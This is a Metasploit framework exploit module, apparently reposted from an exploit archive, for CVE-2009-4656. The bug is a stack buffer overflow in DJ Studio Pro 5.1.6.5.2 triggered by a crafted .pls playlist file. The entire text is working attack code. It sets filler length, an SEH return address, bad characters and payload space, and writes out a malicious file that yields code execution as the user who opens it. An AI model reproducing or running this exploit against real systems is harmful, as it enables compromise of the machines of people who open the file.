DJ Studio Pro 5.1 – ‘.pls’ Local Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'DJ Studio Pro 5.1 .pls Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2. When handling a .pls file, DJ Studio will copy the user-supplied data on the stack without any proper bounds checking done beforehand, therefore allowing code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sebastien Duquette', 'Death-Shadow-Dark <death.shadow.dark[at]gmail.com>', ], 'References' => [ [ 'CVE', '2009-4656'], [ 'OSVDB', '58159'], [ 'URL', 'http://www.exploit-db.com/exploits/10827' ] ], 'Payload' => { 'Space' => 5000, 'BadChars' => "\x00\x0a\x3d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # POP EBX # POP ECX # RET 8 # DJStudioPro.exe [ 'DJ Studio Pro 5.1.6.5.2', { 'Ret' => 0x014FC62D } ], ], 'Privileged' => false, 'DisclosureDate' => 'Dec 30 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), ], self.class) end def exploit sploit = rand_text_alpha_upper(1308) sploit << generate_seh_payload(target.ret) sploit << rand_text_alpha_upper(10000) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |